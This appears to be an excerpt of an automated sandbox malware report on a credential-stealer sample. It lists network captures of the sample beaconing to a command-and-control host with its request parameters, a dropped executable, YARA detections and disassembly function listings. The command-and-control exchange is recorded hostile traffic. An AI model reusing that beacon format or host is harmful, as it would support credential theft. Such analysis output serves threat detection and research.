2024-10-27 16:17:18 UTC	15331	OUT	Data Raw: b3 7d 56 17 90 c1 4a 54 98 f6 20 3f 88 66 aa dc a9 a5 05 33 1f e1 f0 93 2a ed f6 0b d5 a8 b2 7a d6 62 30 3f 0f 89 87 90 ec 3d 0a c2 0c 6b fd dc 17 44 3f d4 6f 95 a1 1f de c3 99 14 71 3c b5 d3 da 5b e0 22 47 36 1b 4f c4 2b 0c b0 c6 82 0a bc cc 62 e2 a2 6f 55 58 77 a9 0e b6 c2 bf 57 c4 f7 c5 6e 88 dd ec 66 a9 f2 06 55 aa 45 7f 6f 32 e3 36 e7 3f b4 1e 1b 7e e8 1e 15 e2 44 a8 df df 3f a2 b4 ca 54 0e 4f 08 51 0b 19 2a 8b 42 d0 77 a7 c7 87 81 b2 30 be 17 f0 9a f4 1c 3f ed c1 f2 fa af 61 d8 fc b7 77 79 17 c0 4d a4 fe 3c 2e 04 8e bd b7 37 23 3e 2f 46 ba 37 7d a8 30 fc 5d 13 2f 50 f0 2d 9b 31 71 b8 60 94 1b 3e 79 40 8f 3a 39 e6 71 fc 49 2d 19 e8 89 4d 03 84 fb a5 82 32 a8 a0 a2 1a 4b 8f 42 16 40 0b 99 c9 5d 00 a5 dd 8f af d7 85 fd 1f ba 33 d5 7f c4 e6 f3 5d 8d 76 Data Ascii: }VJT ?f3zb0?=kD?oq<["G6O+boUXwWnfUEo26?~D?TOQBw0?awyM<.7#>/F7}0]/P-1q`>y@:9qI-M2KB@]3]v
2024-10-27 16:17:18 UTC	15331	OUT	Data Raw: eb 4b 10 25 98 4f 8e a5 e1 53 7c 5c 1c c4 65 af 36 15 66 e8 c5 87 f0 1f e2 62 50 b2 90 fa 82 58 91 ac 71 c4 5c 0a 2f a1 f2 d3 24 fe 4d 8b 64 bd 51 10 a1 55 1a de fb 70 cd 35 c1 54 0a f4 9a 54 a0 34 42 1c 64 23 08 bd 37 f7 b0 92 5b 7f 7c 4a b5 30 3e b0 3e f5 28 09 af 21 dc fe 0e 0f 8c 93 36 cf 4f f0 df 27 7f e4 d9 80 ea 03 2d 02 ef 0b 75 42 bd e7 15 2f 7d 8d 8b a4 db 32 17 22 dc 07 26 4c f5 3e 07 d3 34 d1 35 46 c6 5d ba 20 74 fe e7 74 86 d1 40 d4 27 6d 8e eb 78 cb ba 4d cb 66 07 df 68 4c ab 20 c2 a7 87 f4 03 17 78 ff 9a f1 eb 2d 44 63 13 fa 63 09 9b 45 95 13 f5 ee 03 c9 bc 19 71 d6 af 9e e4 ca 37 83 9b cf 2b d7 07 6c ca 69 37 59 bf e6 14 0a 68 8b ac 20 ee 39 51 88 b6 38 44 08 20 65 86 7d a8 dc 2c 18 73 f5 61 84 70 87 9a c5 83 aa b1 11 d5 2b 78 ea c0 86 31 Data Ascii: K%OS\|\e6fbPXq\/$MdQUp5TT4Bd#7[\|J0>>(!6O'-uB/}2"&L>45F] tt@'mxMfhL x-DccEq7+li7Yh 9Q8D e},sap+x1
2024-10-27 16:17:20 UTC	1017	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:17:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v7l191ib7q56jdecu39939vmaf; expires=Thu, 20 Feb 2025 10:03:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=m4GWRjQ%2FAQ%2FMOmMROIOpVjRLtgm0KQ9L7SQ51GDOmYyczUPLMMtUUVwS80BDw8%2BpB0jTnjSXOjxs6%2BDfdQAppIPaBkt2dmoD7Du2MQH4dh7cVnqAy0xzyIrzSXPGnn1h2QnY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d93fedacf484767-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1075&sent=214&recv=596&lost=0&retrans=0&sent_bytes=2839&recv_bytes=553742&delivery_rate=2571936&cwnd=251&unsent_bytes=0&cid=969c7971d20598b6&ts=1829&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49713	104.21.95.91	443	3840	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:17:20 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: crisiwarny.store
2024-10-27 16:17:20 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 34 32 38 36 39 37 39 32 45 42 43 33 34 42 37 30 34 32 44 30 35 46 34 33 33 42 39 35 33 46 32 32 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=42869792EBC34B7042D05F433B953F22
2024-10-27 16:17:21 UTC	1011	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:17:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ut9f3ehk8kpeo44ke3q0np2170; expires=Thu, 20 Feb 2025 10:04:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FvssAMxwJ5vNmwLYl9su%2Fi5UwK7C7ZuT7lYMKFGe9iBSw2JI1zM33k5rBemcx3EiOcO%2BshbH4FI7pxxsU%2FXcT6qxkiUCQf3F2bAwRlBUKRqxoxZFmULvPXcY5Wt%2F5FJIVq2M"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d93feea09d2474e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1233&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=987&delivery_rate=2454237&cwnd=244&unsent_bytes=0&cid=4765687c62b660f4&ts=338&x=0"
2024-10-27 16:17:21 UTC	130	IN	Data Raw: 37 63 0d 0a 6e 44 70 53 38 5a 49 6f 4c 5a 61 54 39 55 66 50 79 44 79 78 52 79 2f 48 56 6b 48 54 46 66 6c 54 71 6c 65 4a 69 48 2b 6d 31 33 66 48 51 58 43 45 73 42 49 50 2f 75 65 42 4e 2f 57 55 45 2b 31 6f 48 76 39 6a 62 2b 45 6b 7a 48 32 62 5a 72 71 6d 54 70 43 4c 57 50 4e 63 4e 4b 32 39 54 45 6a 77 76 5a 41 2f 71 75 6f 51 6b 79 46 62 35 57 78 78 2f 7a 65 63 63 5a 42 6e 39 4e 55 3d 0d 0a Data Ascii: 7cnDpS8ZIoLZaT9UfPyDyxRy/HVkHTFflTqleJiH+m13fHQXCEsBIP/ueBN/WUE+1oHv9jb+EkzH2bZrqmTpCLWPNcNK29TEjwvZA/quoQkyFb5Wxx/zeccZBn9NU=
2024-10-27 16:17:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	12:17:05
Start date:	27/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xd30000
File size:	2'974'720 bytes
MD5 hash:	281F372246777419CEAAAFDBD95DC327
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2157138603.0000000000BF6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:17:27
Start date:	27/10/2024
Path:	C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe"
Imagebase:	0x360000
File size:	2'771'456 bytes
MD5 hash:	8A631FA6EE0D28F9E1099CCEEBA9C4B1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.7%
Dynamic/Decrypted Code Coverage:	28.1%
Signature Coverage:	15.6%
Total number of Nodes:	32
Total number of Limit Nodes:	1

Executed Functions

Function 004E7947 Relevance: 1.6, APIs: 1, Instructions: 105
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 004E7947

Memory Dump Source

Source File: 00000003.00000002.2430243955.00000000004E4000.00000040.00000001.01000000.00000006.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2429965852.0000000000360000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2429987594.0000000000362000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430003965.0000000000366000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430020233.000000000036A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430036936.0000000000376000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430177163.00000000004CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430196201.00000000004CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430243955.00000000004EF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430318962.00000000004FA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430336985.00000000004FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430357064.0000000000502000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430410186.0000000000503000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430436351.0000000000504000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430488858.0000000000507000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430512791.0000000000508000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430529011.000000000050B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430587008.0000000000521000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430639084.000000000052D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430710317.000000000052E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430745938.0000000000536000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430767539.0000000000542000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430815681.0000000000547000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430838336.0000000000562000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430886770.0000000000564000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430910808.0000000000565000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431133680.000000000056F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431151321.0000000000570000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431290219.0000000000573000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431308061.000000000057F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431354178.0000000000581000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431370209.0000000000588000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431387224.0000000000589000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431431663.000000000058A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431452188.000000000058B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431489728.000000000058C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431625634.0000000000592000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431668298.000000000059B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2433008791.000000000059D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2433330412.00000000005AC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434382405.00000000005AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434899100.00000000005B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434921130.00000000005BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434953166.00000000005F3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434953166.00000000005FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434986324.000000000060A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2435002224.000000000060C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_RFAILPVKEX8W9J53ZEEDEWLBCE6I.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 90763e7c1b624d8e0f7f1264baef0dfcfd3ddc39a7488d4a27f4e7c655953e64
Instruction ID: c64d50f4c58d812fbffd4f58928fc5bf05ba30b75bb6b47c20400fd2e27e2e2d
Opcode Fuzzy Hash: 90763e7c1b624d8e0f7f1264baef0dfcfd3ddc39a7488d4a27f4e7c655953e64
Instruction Fuzzy Hash: 90318BF244C740AFE706AF98D8816B9FBE9FF15330F25082DE2C692602E27944559B57

Function 0036B7B2 Relevance: 1.3, Strings: 1, Instructions: 18COMMON

Download Yara Rule

Strings

!!iH, xrefs: 0036B922

Memory Dump Source

Source File: 00000003.00000002.2430020233.000000000036A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2429965852.0000000000360000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2429987594.0000000000362000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430003965.0000000000366000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430036936.0000000000376000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430177163.00000000004CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430196201.00000000004CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430243955.00000000004E4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430243955.00000000004EF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430318962.00000000004FA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430336985.00000000004FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430357064.0000000000502000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430410186.0000000000503000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430436351.0000000000504000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430488858.0000000000507000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430512791.0000000000508000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430529011.000000000050B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430587008.0000000000521000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430639084.000000000052D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430710317.000000000052E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430745938.0000000000536000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430767539.0000000000542000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430815681.0000000000547000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430838336.0000000000562000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430886770.0000000000564000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430910808.0000000000565000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431133680.000000000056F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431151321.0000000000570000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431290219.0000000000573000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431308061.000000000057F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431354178.0000000000581000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431370209.0000000000588000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431387224.0000000000589000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431431663.000000000058A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431452188.000000000058B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431489728.000000000058C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431625634.0000000000592000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431668298.000000000059B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2433008791.000000000059D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2433330412.00000000005AC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434382405.00000000005AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434899100.00000000005B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434921130.00000000005BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434953166.00000000005F3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434953166.00000000005FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434986324.000000000060A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2435002224.000000000060C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_RFAILPVKEX8W9J53ZEEDEWLBCE6I.jbxd

Similarity

API ID:
String ID: !!iH
API String ID: 0-3430752988
Opcode ID: 6231c412524905e27bd78d4025e7ec169b910c7a715d2da9cfce6773a409a3d7
Instruction ID: 2a8087d656edb6917d5a23ca1f8860fe2a72ff944912a89cfb52bb2a2498ff56
Opcode Fuzzy Hash: 6231c412524905e27bd78d4025e7ec169b910c7a715d2da9cfce6773a409a3d7
Instruction Fuzzy Hash: 95E0C2711089C99ACF27AF648801799BA5DDB40700F108125FA41CFE4DDB2D5E518F95

Function 004F38BF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 119
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 004F85A0
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 004F85C7
GetNativeSystemInfo.KERNELBASE(?), ref: 004F861E

Strings

AF_O, xrefs: 004F8E42

Memory Dump Source

Source File: 00000003.00000002.2430243955.00000000004EF000.00000040.00000001.01000000.00000006.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2429965852.0000000000360000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2429987594.0000000000362000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430003965.0000000000366000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430020233.000000000036A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430036936.0000000000376000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430177163.00000000004CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430196201.00000000004CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430243955.00000000004E4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430318962.00000000004FA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430336985.00000000004FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430357064.0000000000502000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430410186.0000000000503000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430436351.0000000000504000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430488858.0000000000507000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430512791.0000000000508000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430529011.000000000050B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430587008.0000000000521000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430639084.000000000052D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430710317.000000000052E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430745938.0000000000536000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430767539.0000000000542000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430815681.0000000000547000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430838336.0000000000562000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430886770.0000000000564000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430910808.0000000000565000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431133680.000000000056F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431151321.0000000000570000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431290219.0000000000573000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431308061.000000000057F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431354178.0000000000581000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431370209.0000000000588000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431387224.0000000000589000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431431663.000000000058A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431452188.000000000058B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431489728.000000000058C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431625634.0000000000592000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431668298.000000000059B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2433008791.000000000059D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2433330412.00000000005AC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434382405.00000000005AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434899100.00000000005B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434921130.00000000005BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434953166.00000000005F3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434953166.00000000005FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434986324.000000000060A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2435002224.000000000060C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_RFAILPVKEX8W9J53ZEEDEWLBCE6I.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID: AF_O
API String ID: 1247124224-2914716844
Opcode ID: 7a1a9b0d31bf3d58b198dfcb93d40f063db9df8405515b4f3ec9b89fe9432095
Instruction ID: 5773dfe1a22310f0ea46e191e4c85c063558bdeab55479e2485db0dc8010e992
Opcode Fuzzy Hash: 7a1a9b0d31bf3d58b198dfcb93d40f063db9df8405515b4f3ec9b89fe9432095
Instruction Fuzzy Hash: 63414FB140410EEFEF11DF24C8446BF77A8EF05310F11492AEA85C6951EB764CA4DB5E

Function 004EB2DB Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 45
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(0000B587,00000000), ref: 004EB34B

Strings

a`QY, xrefs: 004EB2DB

Memory Dump Source

Source File: 00000003.00000002.2430243955.00000000004E4000.00000040.00000001.01000000.00000006.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2429965852.0000000000360000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2429987594.0000000000362000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430003965.0000000000366000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430020233.000000000036A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430036936.0000000000376000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430177163.00000000004CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430196201.00000000004CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430243955.00000000004EF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430318962.00000000004FA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430336985.00000000004FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430357064.0000000000502000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430410186.0000000000503000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430436351.0000000000504000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430488858.0000000000507000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430512791.0000000000508000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430529011.000000000050B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430587008.0000000000521000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430639084.000000000052D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430710317.000000000052E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430745938.0000000000536000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430767539.0000000000542000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430815681.0000000000547000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430838336.0000000000562000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430886770.0000000000564000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430910808.0000000000565000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431133680.000000000056F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431151321.0000000000570000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431290219.0000000000573000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431308061.000000000057F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431354178.0000000000581000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431370209.0000000000588000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431387224.0000000000589000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431431663.000000000058A000.00000080.00000001.01000000.00000006.sdmpDownload File
